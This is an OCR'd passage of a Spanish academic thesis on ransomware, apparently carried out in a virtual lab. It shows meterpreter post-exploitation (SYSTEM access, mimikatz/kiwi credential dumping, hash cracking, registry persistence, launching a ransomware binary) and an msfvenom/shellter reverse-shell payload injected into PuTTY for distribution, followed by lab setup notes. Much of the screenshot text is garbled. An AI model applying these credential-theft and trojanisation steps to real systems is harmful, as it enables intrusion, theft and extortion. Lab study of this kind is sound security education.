o IDS, por lo que la conexién inversa serd normalmente la elegida siempre que esté

disponible.

El proceso finaliza correctamente (ilustracion 82) y el acceso se ha conseguido con
permisos de la cuenta del superusuario system (NT AUTHORITY\SYSTEM), por lo
que en este caso no hace falta trabajar para elevar privilegios. A la hora de ejecutar el
ransomware siempre sera preferible obtener los permisos de una cuenta privilegiada
para poder acceder a todas las carpetas de usuarios de la maquina y no tener
restricciones en la busqueda de ficheros a cifrar, aunque la ejecuciéon del ransomware en
el mismo contexto de integridad de un usuario sin permisos de administrador también

produce un dano considerable.
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£
LnoLA oL

I~

Sending egg to corrupted connection.
ring free of corrupted buffer.
74 bytes) to 192.168.10.8
1 opened

] NT AUTHORI
> sysinfo
: | VAGRANT
0s : Windows 2@ 2 (6.1 Build 7681, Service Pack 1).
Architecture 1 X64
System Language : en_US
Domain : WORKGROUP

4/ windows

[ustracién 82: Acceso privilegiado al equipo de la victima

Es en este momento cuando puede configurarse el sistema para provocar la persistencia
de la infeccion si el ejecutable no la realiza por si solo, pueden deshabilitarse medidas
de proteccién y todo lo que se requiera. como ejemplo se importa la extension kiwi

(ilustracion 83).

xtension k
mimikat

A La Vie, A
/#%% Benjamin DELPY “gentilki ( benjamin@igentilkiwi.com )

> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX [ vi nt.letouxmgmail.com )
> http: as / ‘mysmartlogon.com k&)

[lustracion 83: Importacion de la extension kiwi
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Kiwi es el sucesor de mimikatz, permite recuperar de la memoria las claves sin cifrar de
usuarios conectados al equipo (ilustracion 84), o consultar la base de datos del
Administrador de cuentas de seguridad (SAM) para enumerar usuarios y grupos del
sistema, y del Directorio Activo de Windows, a través del comando hashdump de la
extension Priv (ilustracién 85) pudiendo descifrar los hashes para recuperar las claves
con otras herramientas por fuerza bruta, entre ellas john the ripper, hashcat o tablas
rainbow con herramientas como ophCrack o servicios en linea [97] (ilustracién 86), o

cambiar esas claves directamente en el fichero para conseguir el acceso.

meterpreter > |creds_all
[+] Running as

Retrieving all credentials
msv credentials

Username Domain NTLM

Administrator VAGRANT-

Username Domain

(null) (null)

Administ : VAGRANT-2

VAGRANT 8R2% WORKGROUP

sshd_ser VAGRANT

vagrant VAGRANT -2 2 wvagrant

Tlustraciéon 84: Descubrimiento de claves sin cifrar desde memoria

Para desplegar el ransomware, se crea la persistencia afiadiendo una clave en el registro
en la ubicacién indicada en la ilustracion 87, o transfiriendo el fichero ejecutable a la

carpeta de inicio. Una vez ubicado el binario en el sistema remoto con el comando
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upload de meterpreter (ilustracién 88), se pone finalmente en marcha para secuestrar el
equipo con la instruccién ezecute (ilustracién 89), configurando una tarea programada o

forzando o esperando el reinicio del sistema.

) 1404ee:D

3b435b514@4ee:b7

solo:1@6

_hutt:1815:aad3b43

Color Codes: GRS Cxact match, Yellow: partial match, Hlll Mot found.

Tlustraciéon 86: Descubrimiento de claves mediante tablas rainbow
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Values (1):
VBoxTray

nsomTFG.exe"

reter
uploading
uploaded
meterpreter > |j

a command on the remote machine.

The arguments to pass to the command.
Channelized I/0 (required for interaction).
The 'dummy' executable to launch when using -m.
The executable command to runm.
Help menu.
Create the process hidden from view.
with the process after creating it.
process on the meterpreters current desk
from memory.
process in a pty (if available on
: 1 given session as

subshell
ansomTFG.exe —-H

[lustracién 89: Comando execute de meterpreter
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6.3. Inyectando una shellcode sobre una aplicaciéon legitima

Existen herramientas como shellter, veil-evasion y msfvenom capaces de inyectar y
ocultar cédigo malicioso en ejecutables [98], que seran distribuidos a las victimas
empleando los vectores de ataque descritos en este capitulo. Estas aplicaciones se basan

en crypters, software que utiliza la ofuscacion y cifrado para evadir los sistemas

antivirus.

La prueba consiste en inyectar un payload en una aplicacién legitima [99]-[100], se elige
a putty, herramienta de reducido tamano y conocido cliente para conexiones remotas
por SSH, Telnet, rlogin y TCP raw con licencia MIT, de manera que cuando la victima
quiera utilizar esta aplicacion se ejecute el codigo malicioso que contiene el payload,
que sera una shell remota de meterpreter para obtener acceso al equipo de la victima y
poder desplegar el ransomware o realizar cualquier otra operacién como las descritas en

el apartado anterior.

Estas herramientas pueden inyectar una shellcode en un ejecutable con distintos
formatos, dependiendo de los parametros elegidos en su creacién. Se puede seleccionar
el payload a utilizar de entre una lista o elegir uno propio, el tipo de ofuscacién y
cifrado y una serie de configuraciones para evadir los sistemas antivirus. Las pruebas
realizadas con shellter y msfvenom usan payloads conocidos: A pesar de aplicar toda la
ofuscaciéon posible la deteccién de estos ficheros da una alta positividad para los
motores antivirus actuales (ilustracién 90). Seleccionando payloads propios y aplicando
otros métodos al binario se pueden mejorar los resultados, aunque esto no forma parte
de los objetivos de este trabajo. Se muestra el procedimiento de creacion y resultado
como prueba de concepto para mostrar otro posible método con el que un

ciberdelincuente puede tomar el control de una maquina sin necesidad de explotar
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ninguna vulnerabilidad, solo con la ejecucién por parte de la victima (client-side) de un

fichero malicioso, para a partir de aqui, desplegar el ransomware.

Z a%aceab218644249be516aadbc72b3730285fdc7a425f9988130f91032203818 Q, ™ i 60

3 7 \ J 37 security vendors and no sandboxes flagged this file as malicious

aY9aceab218644249be516aad5c72b3730285fdc7a425f9988130f910322038f

8 1.11 MB 2022-05-25 18:07:27 UTC

PUTTY

peexe

[lustracion 90: Deteccién del ejecutable con la inyecciéon del payload

Primero se inyecta el payload en la aplicaciéon deseada a través de la herramienta

shellter (ilustracion 91).

[lustraciéon 91: Shellter

El modo invisible (stealth) permite crear el fichero de manera que cuando un cliente lo
ejecute se presente la aplicacion, ademas de procesar las instrucciones maliciosas.

También se puede prescindir de este modo, dejando solo un binario que permita el
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despliegue de la shell (ilustracién 92). Siguiendo el proceso de generacién se seleccionara
el payload y se configurara la direccién IP y puerto que pondremos a la escucha en

nuestro servidor (listener) (ilustracion 93).

)-[~/Descargas ]

: -p windows/meterpr fIﬂuex
4L -e 1deDOWﬂIJhnll baseB4 —en t aes3
[-] No platform was selected, 1h00:1ng M
e payload
[-]1 Mo arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 354 (iteration=0)
cmd/powershell_base64d chosen with final size 354
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

se_tcp LHOST=192.168.10.55 RPORT=444
56 -f exe -o payload.exe
f::Module::Platform:: Windows from th

2
5

[ustracion 92: Creacién de un binario que ejecuta un payload con msfvenom

[ustracion 93: Seleccion y configuracion del payload con Shellter
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Si la generacién finaliza correctamente (ilustracion 94) se dispondrd del fichero
malicioso con similar tamano al original, dispuesto a ser distribuido por ejemplo a
través de redes p2p o por alguna pagina de descargas a tal efecto, quedando a la espera

de que alguien caiga en la trampa.

ion: Verified!

[lustracion 94: Confirmaciéon de la inyeccion del codigo malicioso

Finalmente se configura e inicia el manejador (handler) a través de Metasploit, que
dejarda un puerto abierto a la escucha para recibir la conexién y tomar el control de la
maquina cuando la victima ejecute el fichero. Una vez se genere la comunicacién, en
este ejemplo se utiliza el modulo de post-explotacion migrate, cuyo objetivo es crear un
nuevo proceso donde migrar el proceso de Meterpreter; de esta forma si se cierra la
aplicacion putty que tenia el payload asociado, la sesién seguira activa por encontrarse
el payload ya migrado, pudiendo ubicarse en cualquier proceso en ejecucion del sistema,
recomendable los de larga duraciéon como navegadores web o procesos del nicleo del
sistema operativo o un proceso de nueva creacion si se omite el destino (ilustraciones 95

y 96).
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ﬁ PuTTY Configuration
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7. Conclusiones y

lineas futuras

7.1. Conclusiones

El ransomware hoy en dia es una de las actividades mas lucrativas para los
ciberdelincuentes, de ahi que haya tomado tanto protagonismo. La infinidad de recursos
que se encuentran disponibles permiten a gente con pocos conocimientos llegar a
cometer delitos a través de la red. Sorprende la frecuencia con la que las autoridades

detienen a personas aun en la minoria de edad por haber cometido este tipo de ilicitos.

La ciberseguridad es un campo muy extenso, que demanda una alta implicaciéon por
parte de los profesionales que se dedican a esta materia. Se hace necesario el dominio
de muchos ambitos para poder desempenar el trabajo correctamente y mantenerse
actualizado supone una dedicacién total y un esfuerzo diario debido al crecimiento de

las nuevas tecnologias, amenazas, técnicas de ataque, grupos criminales...

La impresion objetiva una vez se ha dado este trabajo por concluido es la gran cantidad

de contenido existente y de interés, que ha hecho dedicar mas horas de las esperadas al
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estudio, la multitud de ramificaciones que a su vez aumentaban la complejidad del
desarrollo, la dificultad para poner limites y no profundizar todo lo posible para evitar
extender el trabajo mas de lo esperado. Querer dar una visién global ha supuesto la
obligacion de desarrollar e introducir numerosos puntos que por si solos ya podrian ser
objeto de un Trabajo de Fin de Grado, junto con el desarrollo en si de las pruebas de

concepto.

La impresion personal que deja esta elaboracion es la vulnerabilidad que impera en el
mundo de la seguridad informatica, donde a pesar de trabajar a favor de la defensa y
poner todos los conocimientos y barreras posibles nunca serd suficiente para eludir por

completo un ataque que pueda comprometer los sistemas.

Refuerzan esta impresion las noticias practicamente diarias leidas en prensa donde
aparecen nuevas victimas de este tipo de ataques, sobre administraciones publicas y
empresas de todo tipo, llegando a producir un dano enorme. En muchas ocasiones estos
ataques podrian evitarse ya que hay errores de bulto que siguen cometiéndose, dejando
entrever cual es el eslabon méas débil de la cadena y poniéndoselo muy facil a los

ciberdelincuentes.

7.2. Lineas futuras

Este trabajo abre las puertas a otros estudios relacionados con la materia. Podria
profundizarse con trabajos de ingenieria inversa aplicada sobre software malicioso
desarrollado en otros lenguajes de programacion. Actualmente los investigadores
relacionados con el campo de la seguridad informatica se estan encontrando con mucho

malware implementado en Go, un lenguaje de programacion compilado inspirado en la
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sintaxis del lenguaje C, que seria a su vez otro candidato para ampliar las técnicas de

ingenieria inversa.

Otra rama que de este trabajo partiria podria ser un enfoque més estricto sobre en el
analisis dindmico del malware, dentro del campo de la ingenieria inversa. Después de lo
estudiado la apreciaciéon que queda es que podria profundizarse mucho mas en este

campo, utilizando para ello ejemplos reales de malware.

También podria ponerse mayor énfasis en estudios relacionados con la seguridad en
tecnologias moviles, sistemas operativos como Android o I0S se estdan viendo ya muy
afectados por problemas de seguridad, espiando y desvelando las comunicaciones entre
terminales, ocasionando sustraccion de datos confidenciales y tomando el control de
estos dispositivos. Técnicas de ingenieria inversa sobre estos sistemas operativos,

medidas de seguridad, analisis forense...

Desde el punto de vista de la confidencialidad podrian elaborarse trabajos técnicos
acerca de la criptografia cuantica y su posible relacién con el software malicioso, las
implicaciones que tendria el uso de estos algoritmos criptograficos aplicados al campo
de la ciberseguridad, en el desarrollo del malware, la posibilidad de romper los sistemas
de cifrado actuales adentrandose ademds en la criptografia postcudntica (PQC) y qué

repercusiones tendria en el escenario actual.
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Anexo

A. Configuracion de

la infraestructura

Para elaborar este trabajo se ha utilizado un pc portatil con sistema operativo
Windows 10, con 16GB de memoria RAM y suficiente espacio en disco para contener
una infraestructura de red con 4 equipos virtuales (125GB). Se describen para cada uno
de ellos las instrucciones para la instalacién y configuracion de las herramientas
utilizadas, ademas de la configuracién en red aplicada desde el anfitrion para simular

los ataques.

A.A. Méaquina Anfitrién Windows 10 Home (Equipo fisico con el

que se realiza el trabajo)

* Instalacién VirtualBox 6.1.26 & Extension pack1

1 .
https://www.virtualbox.org
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La configuracién de red seleccionada es la denominada red NAT (Network Address

Translation)Q, creando para ello una subred NAT de nombre RedInterna con dhcp
activado y rango de direcciones 192.168.10.0/24 (figura 1). Se comporta como si
existiese un router entre el equipo anfitrion y las maquinas virtuales, perteneciendo a
redes distintas (figura 2). Las méquinas virtuales tienen visibilidad entre ellas y acceso
a redes exteriores, como la subred a la que pertenece el anfitrién, ademas de internet.
El comando ping recibe respuesta cuando se realiza desde la subred NAT hacia la
subred del anfitrién, pero no al revés, habria que configurar los puertos (port forward)
para tal fin, no siendo necesario para el objetivo perseguido. Todos los equipos virtuales

tendran seleccionada la misma opcién en su interfaz de red (figura 3)

&
- General Red
¢/ Entrada Redes NAT & Detalles de red NAT ? X
. Activo I
'if/_‘ Actualizar Habilitar red o
i =
- . Nombre de red: ‘ RedInterna ‘
5y Idioma el
. ) Red CIDR: ‘ 192.168.10.0/24 ‘
|-_ Pantalla
) Opciones de red: Soporta DHCP
|
H Red [ ] Soporta IPv6
Extensiones Anunciar ruta por defecto IPv6
. Reenvio de puertos
I Proxy
Aceptar Cancelar
Aceptar Cancelar

Figura 1: Configuracion de la subred NAT

2
https://www.virtualbox.org/manual /ch06.html
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Figura 2: Diagrama de red
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Figura 3: Configuracion de la interfaz de red

A.B. Maquina virtual Ubuntu Server 20.04.3 LTS

*  Descarga de la imagen del sistema opelrativo3

3
https://ubuntu.com
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* Instalacién manual sobre VirtualBox

Instalar Ubuntu Desktop (Desktop Environment desde la herramienta)

$ sudo apt install tasksel
$ sudo tasksel

Configuracién IP Fija

$ sudo nano /etc/netplan/00-installer-config.yaml

GNU nano 4.8 etc/netplan//@80-installer-config.yaml

ethernets:
enpOs3:
dhcp4:
addresses:

- 192.168.10.250/24
gateway4: 192.168.10.
nameservers:

addresses: [192.168.

version: 2

Figura 4: Configuracion IP Fija del servidor Ubuntu

$ sudo netplan try

$ sudo netplan apply

* Instalacién java (version "11.0.11" 2021-04-20) (Para utilizar DBeaver)4

$ sudo apt update
$ sudo apt upgrade
$ sudo apt install default-jre

$ java -version

4 .- . . . . .
https://www.digitalocean.com /community/tutorials /how-to-install-java-with-apt-on-ubuntu-20-04-es
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* Instalaciéon de Visual Studio Code (vscode)

Mediante "Software"”

Mediante paquetes deb’

$ sudo apt update && sudo apt install software-properties-common
apt-transport-https wget

Importar la clave GPG de Microsoft mediante wget

$ wget -q https://packages.microsoft.com/keys/microsoft.asc -O- |
sudo apt-key add -

Anadir el repositorio

$ sudo add-apt-repository "deb [arch=amd64]
https://packages.microsoft.com /repos/vscode stable main"

Instalar

$ sudo apt install code

* Instalacién de python3 (versién 3.8.10)
Se realiza automaticamente al actualizar los paquetes del sistema
$ sudo apt update

$ sudo apt upgrade

* Instalacién de pip3 (Instalador de librerias/paquetes de python3)

$ sudo apt install python3-pip

* Instalacién de net-tools (antiguos comandos de red, como ifconfig)
Es opcional, actualmente se trabaja con los comandos ip o netplan

$ sudo apt install net-tools

5 . . . . .
https://ubunlog.com/visual-studio-code-editor-codigo-abierto-ubuntu-20-04

6 . . . :
https://www.robertoserrano.pro/blog/instalacion-de-visual-studio-code-en-ubuntu-20-04
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* Instalacién de MariaDB (desde el repositorio de paquetes de Ubuntu)7

(Server version: 10.3.31-MariaDB-0Oubuntu0.20.04.1 Ubuntu 20.04)

Ajustar opciones de seguridad

* Instalacién de MariaDB 10.4 (se instala la ultima versién 10.4.22 con soporte
8
)

Anadir clave del repositorio (MariaDB kev) al sistema

=
=
wn
“
o
ko]
@
=
n
28

Anadir el repositorio

Instalar o actualizar

Ajustar opciones de seguridad

Configurar

!%

7
https: //www.digitalocean.com /community /tutorials /how-to-install-mariadb-on-ubuntu-20-04-es

8
https: //computingforgecks.com /how-to-install-mariadb-on-ubuntu/
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GNU nano 4.8 etc/mysql/mariadb.conf.d/50-server.cnf

ssl-ca = fetc/mysql/ssl/ca-cert.pem

ssl-cert = fetc/mysql/ssl/server-cert.pem
ssl-key = fetc/mysql/ssl/server-key.pem

Figura 5: Configuracion de seguridad SSL en MariaDB

Operaciones bésicas

$ sudo systemctl restart mariadb

$ sudo systemctl status mariadb

Instalar DBeaver

Anadir al repositorio

$ wget -O - https://dbeaver.io/debs/dbeaver.gpg.key | sudo apt-key add -

$ echo "deb https://dbeaver.io/debs/dbeaver-ce /" |
sudo tee /etc/apt/sources.list.d/dbeaver.list

Actualizar repositorio e instalar

$ sudo apt update
$ sudo apt install dbeaver-ce

Comprobar version

$ apt policy dbeaver-ce

9
https://dbeaver.com/download

10 — . . .
https://computingforgeeks.com /install-and-configure-dbeaver-on-ubuntu-debian
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Crear usuario administrador con autenticacién por contrasena

$ sudo mariadb

MariaDB$ GRANT ALL ON ** TO 'admin'@'localhost' IDENTIFIED
BY 'root' WITH GRANT OPTION;

MariaDB$ FLUSH PRIVILEGES;

Creacion de usuario remoto MariaDB

$ sudo mariadb
MariaDB$ CREATE USER 'remoto'@'%' IDENTIFIED BY 'root';

MariaDB$ GRANT ALL PRIVILEGES ON *.* TO 'remoto'@'%'
IDENTIFIED BY 'root' REQUIRE SSL WITH GRANT OPTION;

MariaDB$ SHOW GRANTS FOR 'remoto'
MariaDB$ FLUSH PRIVILEGES

Configuracién método connect en el codigo del servidor

Método mariadb.connect() -> ssl=1 (Forzar conexién ssl)11

., . 12
¢ Generacion de certificados

Creamos una autoridad certificadora para generar certificados autofirmados. Un
certificado de servidor para el servidor de BBDD y otro para el servidor de
mando y control, que recibe las comunicaciones con las victimas.

Clave privada para la autoridad certificadora (CA)

$ openssl genrsa 2048 > ca-key.pem

Certificado X509 para la CA

$ openssl req -new -x509 -nodes -days 365000 -key ca-key.pem -out ca.pem

Generamos la clave privada v solicitud de certificado para MariaDB

$ openssl req -newkey rsa:2048 -days 365000 -nodes -keyout server-key.pem

-out server-req.pem

11 . . . . .
https://mariadb-corporation.github.io/mariadb-connector-pvthon

12 . o . .
https://mariadb.com/kb/en/certificate-creation-with-openssl
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Generamos el certificado para MariaDB

$ openssl x509 -req -in server-req.pem -days 365000 -CA ca.pem

-Cakey ca-key.pem -set_ serial 01 -out server-cert.pem

Generamos clave privada, solicitud de certificado v _certificado mediante el

mismo procedimiento para el servidor de mando v control, con la misma

autoridad certificadora (CA).

Creamos clave privada y publica RSA para la prueba de concepto Tipo 2, donde

se cifra un fichero contenedor de la clave simétrica con la clave publica para

posteriormente descifrarlo con la clave privada desde el equipo del atacante' .

Clave privada RSA

$ openssl genpkey -algorithm RSA -aes256 -out privadoRSA.pem -pkeyopt
rsa_ keygen_ bits:2048

Clave publica RSA

$ openssl pkey -in privadoRSA.pem -pubout -out publicaRSA.pem

* Configurar SSL MariaDB"*"°

Cambiar el grupo propietario de la carpeta donde se encuentran los

certificados /etc/mysql/ssl/ para que el usuario ‘mysql’ pueda leerlos.

$ chown -R mysql:root /etc/mysql/ssl/

Conectarse empleando proteccion TLS

$ mysql -u root --ssl

13 L. . o e O . .
https://openssl.cicei.com /index.php?title=P%C3%Algina principal#RSA

14 . . . .
https://mariadb.com/kb/en/data-in-transit-encryption

15 . .
https://www.akirah.es/configurando-mariadb-para-usar-ssl

16 . . . .
https://www.cyberciti.biz/faq/how-to-setup-mariadb-ssl-and-secure-connections-from-clients /
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Comandos para ver la informacion SSL

MariaDB$ show variables like '%ss1%';
MariaDB$ show global variables like 'have openssl';

MariaDB$ SHOW GLOBAL VARIABLES LIKE 'version ssl library';

MariaDB$ SHOW GLOBAL VARIABLES LIKE 'tls version';

MariaDB$ status;

Instalacién del modulo de mariadb para Python (version 1.0.8)

$ pip3 install mariadb

(si se requiere al instalar la libreria de mariadb)

$ sudo apt install libmariadbclient-dev

Si vscode no reconoce el médulo mariadb, o se generan errores al ejecutar el
fichero servidor.py ($ sudo python3 servidor.py) se soluciona instaldndolo como
superusuario.

$ sudo pip3 install mariadb

Instalacion de tkinter (librerfa GUI estandar para Python)

$ sudo apt install python3-tk

Instalar todas las librerias Python creando un fichero de configsuracién

Para las maquinas victimas Ubuntu, Windows y el servidor del atacante
(Ubuntu Server) se crea un fichero de requerimientos para poder instalar todas
las librerias utilizadas automaticamente, sin necesidad de instalarlas una por
una. El comando utilizado para generar estos ficheros en cada una de las
maquinas indicadas:

$ pip3 freeze > requerimientos.txt
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Para instalar las librerias automaticamente con las mismas versiones utilizadas
en el desarrollo de este trabajo. Las méquinas de Windows y Ubuntu llevan las
mismas librerfas (figura 6), mientras que la del servidor Ubuntu es otro fichero

diferente (figura 7).

$ python3 -m pip3 install -r requerimientos.txt

1 auto-py-to-exe==2.19.0
2 autopep8==1.6.0

3 bcrypt==3.1.7

4 cryptography==2.8

5 Cython==0.29.28

6 dec9mpy1e3==3.8.0 1 autopep8==1.6.0

7 mariadb==1.0.8 2 cryptography==2.8
8 Opy==1.1.28 3 ipapi==1.0.4

9 paramiko==2.6.0 4 mariadb==1.0.8

ﬂ} PSU’gﬂffi-g-? 5 mysql-connector-python==8.0.15
pycdas==l.c. 6 paramiko==2.6.0

12 pycrypto==2.6.1 7 pefile==2021.9.3

13 pycryptodome==3.11.0 8 psutil==5.8.0

14 pycryptodomex==3.14.1 9 P CrvDto==2 6.1

15 pyinstaller==4.10 pycrypo==z.5.

16 pyinstaller-hooks-contrib==2022.3 10 py(_:ryptodome==3. 11.0

17 pyminifier==2.1 11 pyinstaller==5.0

18 pyobfuscate==0.3 12 pyinstaller-hooks-contrib==2022.4
19 pyzipper==0.3.5 13 pyminifier==2.1

20 requests==2.27.1 14 requests==2_. 22.0

21 requests-unixsocket==0.2.0 15 requests-unixsocket==0.2.0

22 scp==0.14.4 16 SecretStorage==2.3.1

23 SecretStorage==2.3.1 17 ssh-import-id==5.10

24 uncompyle6==3.8.0 18 urllib3==1.25.8

Figura 6: Librerfas equipos de usuario Figura 7: Librerias instaladas en el servidor
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A.C. Maquina virtual Ubuntu 20.04.3 LTS

Siguiendo las instrucciones de la instalacion en el Servidor Ubuntu:

* Instalacion de Visual Studio Code (vscode)

» Instalacion de python3 (version 3.8.10)

* Instalaciéon de pip3 (Instalador de librerias/paquetes de python3)
* Instalaciéon de net-tools (antiguos comandos de red, como ifconfig)
+ Instalacién de tkinter (librerfa GUI estdndar para Python)

* Librerfas Python (figura 6)

A.D. MAquina virtual Windows 10 Pro

Mediante los instaladores de software para sistemas Windows:
* Instalacién de Visual Studio Code (vscode)
» Instalacion de python3 (version 3.8.10)
* Instalaciéon de pip3 (Instalador de librerias/paquetes de python3)
+ Instalacién de tkinter (librerfa GUI estandar para Python)

* Librerfas Python (figura 6) (de igual forma que con la maquina Ubuntu)

A.E. Maquina virtual Kali Linux 2022.2

* Descarga de la imagen Bare Metal”

e Instalacién manual sobre VirtualBox

17 . . . .
https://www.kali.org/docs/installation /hard-disk-install
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A.F.

Instalacién de OpenVAS18

Maquina virtual Metasploitable3

Se descarga el siguiente software de los enlaces indicados:

- metasploita‘ble?)19
- packer 1.8x"

- Vagrant 2.2.19”

Instalacion

- Anadir packer.exe al path de Windows (variable de entorno).

- Excluir carpeta de instalacion de metasploitable del antivirus para evitar
errores en la instalacion, puede detectar componentes y ponerlos en cuarentena,
generando errores al no encontrar esos ficheros.

- Abrir PowerShell como administrador.

- Permitir ejecucién de scripts no confiables.

$ Set-ExecutionPolicy Unrestricted

- Ejecutar el script ubicado en la carpeta de metasploitable.

$ ./build.psl

- Crear un entorno vagrant.

$ vagrant init

18
https:

WWw.openvas.org

19 R . .
https://github.com /rapid7/metasploitable3

20 .
https://www.packer.io

21
https://www.vagrantup.com
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- Arrancar el entorno y provisionar las maquinas virtuales.

$ vagrant up

Junto con esta memoria se hace entrega de los ficheros con el codigo fuente
desarrollado, los certificados digitales generados, los ficheros de requerimientos para la
instalacion de las librerfas utilizadas y el codigo SQL implementado para crear la base
de datos y la tabla empleada en las pruebas de concepto.
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